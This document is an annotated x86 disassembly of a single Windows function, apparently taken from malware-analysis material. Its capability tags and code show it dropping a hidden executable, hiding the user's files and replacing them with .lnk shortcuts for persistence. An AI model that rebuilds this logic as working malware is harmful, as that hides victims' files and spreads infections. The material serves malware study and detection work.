Function at 0x408a50
Capabilities:
Check if file exists
Create directory
Create thread
Delete directory
Delete file
Encode data using xor
Enumerate files on windows
Get file attributes
Persist via lnk shortcut
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xecc
push ebx
push esi
push edi
push 0x208
xor edi, edi
mov ebx, eax
lea ecx, [ebp - 0xec6]
xor eax, eax
push edi
push ecx
mov word [ebp - 0xec8], ax
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x208
lea eax, [ebp - 0xcb6]
xor edx, edx
push edi
push eax
mov word [ebp - 0xcb8], dx
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x208
lea edx, [ebp - 0x896]
xor ecx, ecx
push edi
push edx
mov word [ebp - 0x898], cx
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x208
lea ecx, [ebp - 0x226]
xor eax, eax
push edi
push ecx
mov word [ebp - 0x228], ax
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x24c
lea edx, [ebp - 0x474]
push edi
push edx
mov dword [ebp - 0x478], edi
call sub.msvcrt.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
lea eax, [ebp - 0xcb8]
push eax
lea ecx, [ebp - 0x898]
push ecx
push esi
call fcn.004086f0
add esp, 0xc
lea edx, [ebp - 0x898]
push edx
push esi
lea eax, [ebp - 0x228]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea ecx, [ebp - 0x228]
push ecx
call esi
cmp eax, 0xffffffff
jne 0x408b62
push edi
lea edx, [ebp - 0x228]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea eax, [ebp - 0x228]
push eax
call esi
or eax, 2
push eax
lea ecx, [ebp - 0x228]
push ecx
jmp 0x408b71
test al, 2
jne 0x408b77
or eax, 2
push eax
lea edx, [ebp - 0x228]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov edx, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xcb8]
push eax
lea ecx, [ebp - 0x898]
push ecx
push edx
lea eax, [ebp - 0x228]
push str._s_s_s.exe
push eax
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], edi
call dword [sym.imp.USER32.dll_wsprintfW]
lea ecx, [ebp - 0x18]
add esp, 0x14
push ecx
lea eax, [ebp - 0x228]
call fcn.00402d30
mov esi, eax
add esp, 4
cmp esi, edi
je 0x408c07
cmp byte [0x427bd8], 0
mov edx, esi
jne 0x408bd4
call fcn.00401450
mov ecx, dword [ebp - 0x18]
or eax, 0xffffffff
cmp ecx, edi
jbe 0x408bf9
mov edi, edi
movzx edi, byte [edx]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x4276a8]
inc edx
dec ecx
jne 0x408be0
not eax
push esi
cmp eax, dword [ebp + 0xc]
je 0x408c68
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
lea edx, [ebp - 0x228]
push edx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edi, dword [ebx]
mov ebx, dword [ebx + 8]
push 0
push 0
push 2
push 0
push 1
push 0x40000000
lea ecx, [ebp - 0x228]
push ecx
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x408c6e
push 0
lea edx, [ebp - 4]
push edx
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x408c6e
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0xcb8]
push eax
lea ecx, [ebp - 0x898]
push ecx
lea edx, [ebp - 0x228]
push str._s_s.exe
push edx
call esi
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0xec8]
push str._s
push ecx
call esi
add esp, 0x1c
lea edx, [ebp - 0x478]
push edx
lea eax, [ebp - 0xec8]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x408cca
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [sym.imp.msvcrt.dll__wcsdup]
xor ecx, ecx
push 0x208
push ecx
lea edx, [ebp - 0xaa6]
push edx
mov word [ebp - 0xaa8], cx
call sub.msvcrt.dll_memset
add esp, 0xc
xor eax, eax
push 0x208
push eax
lea ecx, [ebp - 0x686]
push ecx
mov word [ebp - 0x688], ax
call sub.msvcrt.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
add esp, 0xc
push 0x424168
lea edx, [ebp - 0x44c]
push edx
call esi
test eax, eax
je 0x408e90
push 0x42416c
lea eax, [ebp - 0x44c]
push eax
call esi
test eax, eax
je 0x408e90
lea ecx, [ebp - 0x898]
push ecx
lea edx, [ebp - 0x44c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x408e90
mov esi, dword [ebp + 8]
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x44c]
push eax
push esi
lea ecx, [ebp - 0xaa8]
push str._s_s
push ecx
call ebx
lea edx, [ebp - 0x44c]
push edx
push esi
lea eax, [ebp - 0x688]
push str._s_s.lnk
push eax
call ebx
add esp, 0x20
test byte [ebp - 0x478], 2
je 0x408e01
lea ecx, [ebp - 0x688]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x408e01
push 1
push 8
call dword [sym.imp.msvcrt.dll_calloc]
lea edx, [ebp - 0xaa8]
push edx
mov esi, eax
call edi
mov dword [esi], eax
lea eax, [ebp - 0x688]
add esp, 0xc
push eax
call edi
add esp, 4
push 0x428268
mov dword [esi + 4], eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0
push 0
push esi
push 0x408980
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x408e90
lea eax, [ebp - 0xaa8]
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x408e10
sub eax, edx
sar eax, 1
push str..lnk
lea ecx, [ebp + eax*2 - 0xab0]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x408e90
lea edx, [ebp - 0x688]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edx, dword [ebp - 0x478]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
shr edx, 4
and edx, 1
lea eax, [ebp - 0x688]
push ecx
push edx
push eax
lea ecx, [ebp - 0x44c]
push ecx
lea eax, [ebp - 0x228]
call fcn.00408350
mov eax, dword [ebp - 0x478]
add esp, 0x10
test al, 2
jne 0x408e90
or eax, 2
push eax
lea edx, [ebp - 0xaa8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov esi, dword [ebp - 4]
lea eax, [ebp - 0x478]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x408cd0
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [0x428268]
test ecx, ecx
je 0x408ece
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call esi
mov edx, dword [0x428268]
test edx, edx
jne 0x408ec0
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret